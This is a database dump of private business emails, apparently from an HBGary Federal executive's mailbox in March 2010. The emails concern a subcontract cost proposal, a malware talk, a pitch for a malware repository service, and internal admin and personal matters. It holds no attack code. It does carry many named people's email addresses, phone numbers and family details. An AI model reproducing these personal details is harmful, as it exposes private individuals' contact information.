Song\r\n,	Brunelli, Rex ,\r\nVela, Ryan \r\n\r\nHi Team,\r\n\r\nJust a reminder that you will need to to embed the revised travel\r\ninformation that I emailed to you last Friday into RFP Attachment 9\r\nPricing Template (sanitized and unsanitized templates). This action is\r\nnecessary as the latest revised Pricing Template does not include all\r\ntrip information.  This action should be a simple cut/paste.\r\n\r\nAlso, please ensure your travel price includes all trips identified in\r\nthe updated travel document; I\'ve reattached the update so you don\'t\r\nhave to hunt for my Friday email!\r\n\r\nRegards,\r\n\r\nCindy Larson\r\n\r\n\r\n\r\n',8423,'aaron_hbgary_com/8423.html'),(4170,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002201.M744667P3547Q4170.eml','\"Aaron Barr\" <aaron@hbgary.com>','More travel','In addition to the spreadsheet that I just sent you, Cindy provided the\r\nadditional information below in a later email:\r\n\r\n(2)  Yesterday we provided you a revised travel/milestones table.  The\r\nfollowing is a change to that information:\r\n\r\n*	Please remove  the IV&V for period 1a and 2a, (two trips) - this\r\nchange will also be discussed during today\'s call with your pricer.\r\n\r\n\r\n',3968,'aaron_hbgary_com/3968.html'),(4171,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002201.M947561P3547Q4171.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Antacid','Also forgot.  Worth talking to bob frisbie about theor developing\r\ncapability.  If their acquisitions are coming through they might be a\r\ndiscriminator.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 17, 2010, at 11:45 AM, \"Lovegrove, John (TASC)\"  wrote:\r\n\r\n> What do you think about Centra as a replacement for the language\r\n> skills\r\n> that SAIC supposedly has?\r\n>\r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n>\r\n>\r\n>\r\n',1654,'aaron_hbgary_com/1654.html'),(4172,'2010-03-17','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','/aaron@hbgary.com/new/1297002202.M154788P3547Q4172.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: What was the Tech Tuesday date?','Bob,\r\n\r\nJust left you a voice mail trying to follow up on this talk.\r\n\r\nI\'d like to set the date and start generating some interest so you get a\r\ngood turnout.\r\n\r\nPlease let us know if you can participate and which day is best.\r\n\r\nThanks.\r\n\r\nTim. \r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Thursday, March 04, 2010 8:32 PM\r\nTo: Estell, Timothy W.; \'Phil Wallisch\'; \'Aaron Barr\'\r\nCc: Sheldon, Scott W.\r\nSubject: RE: What was the Tech Tuesday date?\r\n\r\nPhil and Aaron,\r\n\r\nSAIC invited HBGary to speak on the Aurora malware and our analysis of\r\nit on April 13 or 20.  They plan to have John from EndGames be there\r\ntoo.  HBGary and EndGames could speak separately or together.  My sense\r\nis that this will be an informal gathering that will not require much\r\nprep work.  The audience will be around 20 people and mostly SAIC\r\nsubcontractors interested in malware, which sounds like our kind of\r\naudience.\r\n\r\nPlease let me know if you can participate.  SAIC is copied in this\r\nemail.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\nbob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com]\r\nSent: Wednesday, March 03, 2010 11:51 AM\r\nTo: bob@hbgary.com\r\nCc: Sheldon, Scott W.\r\nSubject: FW: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nCan you confirm you\'ll be able to present your Aurora data on the 13th\r\nor 20th of April?\r\n\r\nAnd have you talked to John at EndGames?\r\n\r\nI owe him a call on another matter anyway - I\'ll call him today.\r\n\r\nTim. \r\n\r\n\r\n',6231,'aaron_hbgary_com/6231.html'),(4173,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002203.M754714P3547Q4173.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,,,,,','Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','We are now tracking within $1 between propricer and this spreadsheet.\r\nConsider this a final draft.  Aaron and I still need to review and do\r\nthe cover letter and will send the final later this afternoon.  If you\r\nsee any glaring issues, please let us know.\r\n\r\nThanks for your patience.\r\n\r\nTed\r\n\r\n\r\nOn 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n> Good Morning,\r\n>  \r\n> Just a reminder that your sanitized Cost Volume is due to GDAIS today.\r\n> If you have any last minute questions or require clarification please\r\n> contact Rex Brunelli at (210) 442-4231, or send him an email and copy\r\n> me. \r\n>  \r\n> Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume is\r\n> due to Ryan Vela on March 25th; see RFP Attachment 1 for the address\r\n> location.\r\n>  \r\n> Also, please re-review the RFP Attachment 1 to ensure your proposal\r\n> includes all other required proposal information and documents (not part\r\n> of the Cost Volume) .  Call me at 480-441-4235 or send me an email if\r\n> you have any questions regarding the other required information.  \r\n>  \r\n> Reminder, any comments to the GDAIS subcontract template or the terms\r\n> and conditions should be sent to me by the end of next week.\r\n>  \r\n> We look forward to receiving your final pricing and proposal.\r\n>  \r\n> Regards,\r\n> Cindy \r\n> \r\n\r\n',13320,'aaron_hbgary_com/13320.html'),(4174,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002204.M283632P3547Q4175.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','Hi Cindy / Rex,\r\n\r\nDo you have a sample cover letter you could send me?\r\n\r\nTed\r\n\r\n\r\nOn 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n> Good Morning,\r\n>  \r\n> Just a reminder that your sanitized Cost Volume is due to GDAIS today.\r\n> If you have any last minute questions or require clarification please\r\n> contact Rex Brunelli at (210) 442-4231, or send him an email and copy\r\n> me. \r\n>  \r\n> Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume is\r\n> due to Ryan Vela on March 25th; see RFP Attachment 1 for the address\r\n> location.\r\n>  \r\n> Also, please re-review the RFP Attachment 1 to ensure your proposal\r\n> includes all other required proposal information and documents (not part\r\n> of the Cost Volume) .  Call me at 480-441-4235 or send me an email if\r\n> you have any questions regarding the other required information.  \r\n>  \r\n> Reminder, any comments to the GDAIS subcontract template or the terms\r\n> and conditions should be sent to me by the end of next week.\r\n>  \r\n> We look forward to receiving your final pricing and proposal.\r\n>  \r\n> Regards,\r\n> Cindy \r\n> \r\n\r\n',12242,'aaron_hbgary_com/12242.html'),(4175,'2010-03-17','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002204.M454729P3547Q4176.eml','\"Ted Vera\" <ted@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','Hi Ted,\r\n\r\nNo I don\'t.  You can prepare your cover letter in a format of your\r\nchoice.  Just remember to include the items that are required by the\r\nRFP.  \r\n\r\nThanks,\r\nCindy \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, March 17, 2010 1:59 PM\r\nTo: Larson, Cindy S.; Brunelli, Rex; \'Aaron Barr\'\r\nSubject: Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome\r\nProposal\r\n\r\nHi Cindy / Rex,\r\n\r\nDo you have a sample cover letter you could send me?\r\n\r\nTed\r\n\r\n\r\nOn 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n> Good Morning,\r\n>  \r\n> Just a reminder that your sanitized Cost Volume is due to GDAIS today.\r\n> If you have any last minute questions or require clarification please \r\n> contact Rex Brunelli at (210) 442-4231, or send him an email and copy \r\n> me.\r\n>  \r\n> Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume \r\n> is due to Ryan Vela on March 25th; see RFP Attachment 1 for the \r\n> address location.\r\n>  \r\n> Also, please re-review the RFP Attachment 1 to ensure your proposal \r\n> includes all other required proposal information and documents (not \r\n> part of the Cost Volume) .  Call me at 480-441-4235 or send me an \r\n> email if you have any questions regarding the other required\r\ninformation.\r\n>  \r\n> Reminder, any comments to the GDAIS subcontract template or the terms \r\n> and conditions should be sent to me by the end of next week.\r\n>  \r\n> We look forward to receiving your final pricing and proposal.\r\n>  \r\n> Regards,\r\n> Cindy\r\n> \r\n\r\n',6127,'aaron_hbgary_com/6127.html'),(4176,'2010-03-17','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002204.M657339P3547Q4177.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,,,','RE: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','Thank you Ted. \r\n \r\nWe\'ll review and get back to you with any questions/comments.\r\n\r\nRegards,\r\nCindy \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, March 17, 2010 1:42 PM\r\nTo: Larson, Cindy S.\r\nCc: Vela, Ryan; Brunelli, Rex; Starr, Christopher H.; Barr Aaron;\r\nHarlow, Douglas M.; Brunelli, Rex\r\nSubject: Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome\r\nProposal\r\n\r\nWe are now tracking within $1 between propricer and this spreadsheet.\r\nConsider this a final draft.  Aaron and I still need to review and do\r\nthe cover letter and will send the final later this afternoon.  If you\r\nsee any glaring issues, please let us know.\r\n\r\nThanks for your patience.\r\n\r\nTed\r\n\r\n\r\nOn 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n> Good Morning,\r\n>  \r\n> Just a reminder that your sanitized Cost Volume is due to GDAIS today.\r\n> If you have any last minute questions or require clarification please \r\n> contact Rex Brunelli at (210) 442-4231, or send him an email and copy \r\n> me.\r\n>  \r\n> Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume \r\n> is due to Ryan Vela on March 25th; see RFP Attachment 1 for the \r\n> address location.\r\n>  \r\n> Also, please re-review the RFP Attachment 1 to ensure your proposal \r\n> includes all other required proposal information and documents (not \r\n> part of the Cost Volume) .  Call me at 480-441-4235 or send me an \r\n> email if you have any questions regarding the other required\r\ninformation.\r\n>  \r\n> Reminder, any comments to the GDAIS subcontract template or the terms \r\n> and conditions should be sent to me by the end of next week.\r\n>  \r\n> We look forward to receiving your final pricing and proposal.\r\n>  \r\n> Regards,\r\n> Cindy\r\n> \r\n\r\n',16837,'aaron_hbgary_com/16837.html'),(4177,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002204.M66440P3547Q4174.eml','\"Barr Aaron\" <aaron@hbgary.com>','annual summary','propricer output\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',144,'aaron_hbgary_com/144.html'),(4178,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002205.M619739P3547Q4178.eml','\"Aaron Barr\" <aaron@hbgary.com>','spreadsheet','attched\r\n',15009,'aaron_hbgary_com/15009.html'),(4179,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002207.M249671P3547Q4179.eml','\"Barr Aaron\" <aaron@hbgary.com>','annual cost','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3276,'aaron_hbgary_com/3276.html'),(4180,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002209.M188129P3547Q4180.eml','\"Aaron Barr\" <aaron@hbgary.com>','again','attached\r\n',3150,'aaron_hbgary_com/3150.html'),(4181,'2010-03-17','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297002215.M506737P3547Q4181.eml','\"Aaron Barr\" <aaron@hbgary.com>,greg@hbgary.com','2010 Preview - Enterprise Security','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny wanted me to send this to you.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6754,'aaron_hbgary_com/6754.html'),(4182,'2010-03-17','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297002216.M327173P3547Q4182.eml','\"Aaron Barr\" <aaron@hbgary.com>','spreadsheet','',7463,'aaron_hbgary_com/7463.html'),(4183,'2010-03-17','\"Luber, David P.\" <dpluber@nsa.gov>','/aaron@hbgary.com/new/1297002216.M535713P3547Q4183.eml','aaron@hbgary.com','Re: Malware Repository and Feed processeor','Aaron,\r\n\r\nThanks again for the visit to our office the other day. I am currently in travel with a client, but I will get back with you when I return to the office on friday.\r\nThanks,\r\nDave\r\n--------------------------\r\nSent using BlackBerry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Luber, David P.\r\nCc: Rich Cummings \r\nSent: Tue Mar 16 23:35:29 2010\r\nSubject: Malware Repository and Feed processeor\r\n\r\nDave,\r\n\r\nThank you for having us in to brief yesterday.  I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n\r\n1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes?  If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train?  These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n2. I was re-briefed today.  Would you like to set up a follow-on conversation at a different level?  Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\n\r\nA few other notes for thought.  We have an existing capability that we are \"productizing\" called the Threat Management Center.  It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers.  This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware.  We have also partnered with Palantir.  Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&C, web artifacts, network activity, malware internals).  Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used.  I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\n\r\nThank you,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',8963,'aaron_hbgary_com/8963.html'),(4184,'2010-03-17','\"Gil Vega\" <gil.vega@dhs.gov>','/aaron@hbgary.com/new/1297002216.M738842P3547Q4184.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Gil Vega has indicated you are a Friend:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Gil\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Gil Vega\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4250,'aaron_hbgary_com/4250.html'),(4185,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002216.M928251P3547Q4185.eml','\"Barr Aaron\" <aaron@hbgary.com>','again','Report\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7779,'aaron_hbgary_com/7779.html'),(4186,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002217.M743733P3547Q4186.eml','\"Aaron Barr\" <aaron@hbgary.com>','spreadsheet','again...\r\n',15102,'aaron_hbgary_com/15102.html'),(4187,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002217.M951353P3547Q4187.eml','\"David Lirette\" <rocky14er@gmail.com>','Happy birthday!!!!','Call u when the kids go to sleep.  I know 4 people with this birthday.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15383,'aaron_hbgary_com/15383.html'),(4188,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002218.M132342P3547Q4188.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Malware Repository and Feed processeor','FYIFrom my iPhoneBegin forwarded message:From: &quot;Luber, David P.&quot; &lt;dpluber@nsa.gov&gt;\r\nDate: March 17, 2010 7:17:58 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Malware Repository and Feed processeor\r\nAaron,Thanks again for the visit to our office the other day. I am currently in travel with a client, but I will get back with you when I return to the office on friday.\r\nThanks,Dave--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Luber, David P.Cc: Rich Cummings &lt;rich@hbgary.com&gt;Sent: Tue Mar 16 23:35:29 2010Subject: Malware Repository and Feed processeor\r\nDave,Thank you for having us in to brief yesterday.  I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes?  If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train?  These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n2. I was re-briefed today.  Would you like to set up a follow-on conversation at a different level?  Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\nA few other notes for thought.  We have an existing capability that we are &quot;productizing&quot; called the Threat Management Center.  It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers.  This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware.  We have also partnered with Palantir.  Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&amp;C, web artifacts, network activity, malware internals).  Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used.  I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\nThank you,Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',6402,'aaron_hbgary_com/6402.html'),(4189,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002218.M316386P3547Q4189.eml','\"Jake Olcott\" <jacob.olcott@mail.house.gov>','Personal question','Hi Jake,\r\nMy kids go to the Franklin montesorri school in DC and the teachers\r\nhave asked if anyone has any connections for tours of the whitehouse.\r\nI know it\'s a different branch and all but thought I would ask if you\r\nhave any mechanisms to get one or two preschool classrooms in for a\r\ntour.  It\'s a tall order but thought I would check.\r\n\r\nHope all is well on the legeslative front.\r\n\r\nThanks.\r\nAaron\r\n\r\n From my iPhone\r\n',16185,'aaron_hbgary_com/16185.html'),(4190,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002219.M115834P3547Q4190.eml','\"Aaron Barr\" <aaron@hbgary.com>','Draft Cover Letter','Attached.\r\n',2843,'aaron_hbgary_com/2843.html'),(4191,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002223.M36123P3547Q4191.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: 2010 Preview - Enterprise Security','A first response to this is combine TMC with Active Defense for the enterprise and sell as an appliance.  Allow strong APIs with Active defense to allow other security products to hook in for Network/Configuration/Patch management (maybe haven\'t thought that out much yet).  But I think there is a big play to integrate TMC and AD.  So AD for the SOC guys, responder for the malware guys, the portal for everyone else.\r\n\r\nAs for SaaS:\r\nMaybe an option to download a free version of DDNA from the portal and have it send back the data and then dissolve (lots of good malware data that way).  The portal then gives you a summary report.  Within the report it will give information, such as 43 other scans in the last 24 hours have shown this malware, etc.  For a subscription you can have a permanent agent on the box, set up periodic scans, etc.  Look at the reports that CWSandbox gives you...terribly irrelevant information for most people.\r\n\r\nThis as a standalone system for the government I think would be very popular in certain organizations.  Need to have more data fields to query on such as strings data, etc.  A portal such as this could greatly increase the capabilities of many organizations.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"DeeAnn Buonaccorsi\" \r\n> Date: March 17, 2010 6:16:02 PM EDT\r\n> To: \"\'Aaron Barr\'\" , \r\n> Subject: 2010 Preview - Enterprise Security\r\n> \r\n> Penny wanted me to send this to you.\r\n>  \r\n> DeeAnn Buonaccorsi\r\n> Office Manager\r\n> HBGary, Inc.\r\n> 3604 Fair Oaks Blvd.  Suite 250\r\n> Sacramento, CA  95864\r\n> Tel:  916-459-4727 ext. 101\r\n> Fax: 916-481-1460\r\n> Email  deeann@hbgary.com\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11532,'aaron_hbgary_com/11532.html'),(4192,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002223.M545212P3547Q4192.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','HBGary wrap for GD work','Hi Penny,\r\n\r\nWhen we were talking earlier I forgot I wanted to talk to you about this, there is something I am just not getting when I talk with Ted about it.\r\n\r\nThe contract is with HBGary which is being subcontracted to HBGary Federal to do the work, and Ted has been working with GD to come to a dollar figure that works and gets the work done.  On top of our rates we put 17% for an HBGary wrap rate.  We didn\'t know any better, since in the services world, at least the government services world 17% is very high.  We have worked out the numbers and at this rate, what we proposed we will be able to hire our web developer, Aaron Spring to do the command post development.  If the rates are changed we will not be able to hire him, and we may not be able to get the work done because the hours will decrease.\r\n\r\nWhat I don\'t understand is why the fee has to be higher than 17%, since HBGary is actually not doing any work.  And since HBGary isn\'t doing any work it doesn\'t make sense to put G&A or overhead because no HBGary bodies are being used.  I understand you haven\'t charged GD at this amount before, but your folks are more expensive than ours and your G&A and overhead are different, and since HBGary Fed is doing the work, to me it makes sense the rates would be less.  We have different cost models.\r\n\r\nAm I missing something?\r\n\r\nFor me the biggest concern is not having enough hours to do the work and also not being able to hire Aaron Spring.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14873,'aaron_hbgary_com/14873.html'),(4193,'2010-03-18','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002223.M788883P3547Q4193.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Slashdot Science Story | Solar Powered Augmented Reality Contact Lenses','http://science.slashdot.org/story/10/03/17/2227215/Solar-Powered-Augmented-Reality-Contact-Lenses?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\nI want a pair!\r\n\r\n',2468,'aaron_hbgary_com/2468.html'),(4194,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002223.M971827P3547Q4194.eml','\"Ted Vera\" <tedvera@me.com>','Re: Slashdot Science Story | Solar Powered Augmented Reality Contact Lenses','very cool.\r\n\r\nOn Mar 17, 2010, at 10:08 PM, Ted Vera wrote:\r\n\r\n> http://science.slashdot.org/story/10/03/17/2227215/Solar-Powered-Augmented-Reality-Contact-Lenses?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n> \r\n> I want a pair!\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14438,'aaron_hbgary_com/14438.html'),(4195,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002224.M486969P3547Q4195.eml','\"Aaron Barr\" <aaron@hbgary.com>','cover letter','docx attached\r\n',7254,'aaron_hbgary_com/7254.html'),(4196,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002225.M736592P3547Q4196.eml','\"Ted Vera\" <ted@hbgary.com>','RFP','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9010,'aaron_hbgary_com/9010.html'),(4197,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002226.M847840P3547Q4197.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,,','Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','Attached is our sanitized cost volume for review.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n> \r\n> On 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n>> Good Morning,\r\n>>  \r\n>> Just a reminder that your sanitized Cost Volume is due to GDAIS today.\r\n>> If you have any last minute questions or require clarification please\r\n>> contact Rex Brunelli at (210) 442-4231, or send him an email and copy\r\n>> me. \r\n>>  \r\n>> Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume is\r\n>> due to Ryan Vela on March 25th; see RFP Attachment 1 for the address\r\n>> location.\r\n>>  \r\n>> Also, please re-review the RFP Attachment 1 to ensure your proposal\r\n>> includes all other required proposal information and documents (not part\r\n>> of the Cost Volume) .  Call me at 480-441-4235 or send me an email if\r\n>> you have any questions regarding the other required information.  \r\n>>  \r\n>> Reminder, any comments to the GDAIS subcontract template or the terms\r\n>> and conditions should be sent to me by the end of next week.\r\n>>  \r\n>> We look forward to receiving your final pricing and proposal.\r\n>>  \r\n>> Regards,\r\n>> Cindy \r\n>>\r\n> \r\n\r\n',6372,'aaron_hbgary_com/6372.html'),(4198,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002227.M489728P3547Q4199.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Couple of Items','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: March 17, 2010 1:05:01 PM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: Couple of Items\r\n\r\n\r\n\r\n\r\nHey Ted,\r\n\r\n \r\n\r\nCouple of items.\r\n\r\n \r\n\r\n1.      \r\n I can’t transfer money into HBGary Federal\r\nbecause I’m not on the account.  They could sign me up on line or I can\r\nhave DeeAnn just go to the bank and deposit the check.  Your call.\r\n\r\n2.      \r\nHealth Insurance-because coverage for HBGary Federal is\r\nunder HBGary our policy starts 90 days after start.  You can chose to pay the\r\nindividual’s COBRA is you want, OR, you can look at HBGary Federal\r\ngetting a new policy.   Is there a problem with the coverage?\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4299,'aaron_hbgary_com/4299.html'),(4199,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002227.M715823P3547Q4200.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Benefits enrollment package','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: March 17, 2010 9:35:20 PM MDTTo: &quot;jeffbell@onebox.com&quot; &lt;jeffbell@onebox.com&gt;Subject: Re: HBGary Benefits enrollment package\r\nHi Jeff,What it involved in setting up a new policy for Federal?Ted\r\nOn Mar 17, 2010, at 8:18 AM, &quot;jeffbell@onebox.com&quot; 